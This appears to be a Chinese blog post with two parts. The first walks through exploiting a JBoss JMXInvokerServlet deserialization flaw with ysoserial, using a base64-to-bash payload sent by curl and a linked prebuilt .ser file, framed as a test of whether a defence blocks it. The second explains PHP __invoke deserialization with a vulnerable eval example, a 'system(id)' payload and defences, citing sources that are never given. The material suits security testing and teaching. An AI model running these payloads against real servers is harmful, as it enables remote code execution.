Invoker反序列化

安装JAVA环境

安装jboss

1、https://download.jboss.org/jbossas/6.1/jboss-as-distribution-6.1.0.Final.zip)。解压后,进入bin目录,启动jboss: ./run.sh -c default -Djboss.bind.address=0.0.0.0
在这里插入图片描述
2、浏览器访问:http://IP:8080/
在这里插入图片描述

生成命令序列化文件

1、Base64(echo 1 > ~/test.log) 为MQo=
2、下载工具jar包:https://github.com/hspro9x/test/blob/2a82b76840dcbbf5db54e640ae253169bdd6ecbf/ysoserial-master-6eca5bc740-1.jar
3、运行命令:

java -jar ysoserial-master-6eca5bc740-1.jar CommonsCollections5 "bash -c {echo, MQo= }|{base64,-d}|{bash,-i}">aufeng.ser

也可以直接下载本例ser文件:https://bss-test-file.bj.bcebos.com/aufeng.ser
4、在测试机上,在跟ser文件相同目录下,发起如下攻击请求:

curl http://IP/invoker/JMXInvokerServlet --data-binary @aufeng.ser

5、在jboss所在的机器上,查看运行命令:cat ~/test.log
6、若jboss机器上没有~/test.log该文件存在,表示该攻击被拦截

### PHP反序列化过程中 `__invoke` 方法的使用及安全问题 在PHP中,`__invoke` 是一个魔术方法,当对象被当作函数调用时会触发该方法。例如,如果有一个对象 `$obj`,并且通过 `$obj()` 的方式调用它,那么就会触发该对象的 `__invoke` 方法[^1]。 #### `__invoke` 方法的基本使用 以下是一个简单的示例,展示如何定义和使用 `__invoke` 方法: ```php class A { public function __invoke($arg) { echo "Object invoked with argument: $arg\n"; } } $obj = new A(); $obj("Hello World"); // 触发 __invoke 方法 ``` 在这个例子中,当 `$obj("Hello World")` 被执行时,`__invoke` 方法会被调用,并输出相应的结果。 #### 反序列化中的 `__invoke` 安全问题 在PHP反序列化漏洞中,`__invoke` 方法可能成为攻击的一个切入点。如果一个类定义了 `__invoke` 方法,并且该类的对象被反序列化后直接作为函数调用,攻击者可以通过构造恶意的序列化数据来触发 `__invoke` 方法,从而执行任意代码[^2]。 以下是一个可能存在漏洞的示例: ```php class B { public $cmd = 'echo "Hello";'; public function __invoke() { eval($this->cmd); } } // 漏洞点:未对输入进行验证即直接反序列化 unserialize($_GET['data']); ``` 在这个例子中,攻击者可以构造如下序列化字符串: ``` O:1:"B":1:{s:3:"cmd";s:9:"system(id);";} ``` 将其传递给 `$_GET['data']` 参数,从而导致 `system(id)` 被执行,泄露服务器信息。 #### 防御措施 为了防止 `__invoke` 方法在反序列化过程中被滥用,可以采取以下防御措施: 1. **避免在敏感类中定义 `__invoke` 方法**:如果类中不需要支持对象作为函数调用的功能,则不应定义 `__invoke` 方法。 2. **严格验证输入**:在反序列化之前,应对输入数据进行严格的验证,确保其来源可信。 3. **禁用危险函数**:对于可能被滥用的函数(如 `eval`、`system` 等),应尽量避免在代码中使用,或者对其进行严格的权限控制。 4. **使用白名单机制**:仅允许特定的类被反序列化,其他类一律拒绝。 ```php function safe_unserialize($data, $allowed_classes) { return unserialize($data, ['allowed_classes' => $allowed_classes]); } $allowed = ['SafeClass']; safe_unserialize($_GET['data'], $allowed); ``` 上述代码通过 `unserialize` 的第二个参数限制了可反序列化的类,从而减少潜在的安全风险[^3]。 #### 总结 `__invoke` 方法虽然提供了灵活的对象调用方式,但在反序列化场景下容易成为攻击目标。因此,在开发过程中应特别注意其使用场景,并采取适当的防御措施以避免安全漏洞。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值